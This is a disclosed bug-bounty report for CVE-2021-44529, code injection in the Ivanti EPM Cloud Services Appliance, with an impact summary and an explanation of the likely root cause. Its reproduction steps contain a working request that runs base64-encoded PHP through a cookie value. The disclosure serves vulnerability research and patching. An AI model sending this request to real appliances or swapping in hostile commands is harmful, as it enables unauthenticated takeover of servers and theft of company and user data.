[███████] Remote Code Execution at ██████ [CVE-2021-44529] [HtUS]
The Ivanti EPM Cloud Services Appliance contained a code injection flaw that let an unauthenticated attacker run arbitrary commands on the server. The reporter demonstrated this by sending a crafted request that executed PHP code with limited permissions.
Originally disclosed on HackerOne
- Triaged in 5 hours
- Fixed in 36 days
- Paid in 6 hours
- Disclosed after 6 months
IP Address used to find vulnerability:
██████
Vulnerable Website URL or Application:
https://████
pomcldsvr2.████
Proof of ownership:
███
Summary:
The server at https://███ is running a vulnerable version of CSA.
A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
Steps to Reproduce:
Use Burp Repeater to send the following GET requests:
Please note that for the system commands to run, they need to be Base64 encoded. For example, for phpinfo, pass cGhwaW5mbygpOw==
-
For phpinfo()
GET /client/index.php HTTP/1.1 Host: ███████ User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Connection: close Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=; Accept-Encoding: gzip, deflate
Screenshots:
█████████
█████████
██████
█████
██████
References:
Impact
Impact: Remote attackers can execute arbitrary commands on the server, and compromise company and user data.
CVSS Score: Critical
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application passed a cookie value directly into a PHP code-evaluation function without validating or sanitising it.
Impact
An unauthenticated remote attacker could execute arbitrary commands on the server, potentially compromising company and user data, though the commands run with limited 'nobody' permissions.
What the attacker needed
Network access to the CSA web interface; no authentication required
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a bug in Ivanti EPM Cloud Services Appliance. An unauthenticated user could execute arbitrary code with limited permissions as 'nobody'. The reporter showed this with a crafted request.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.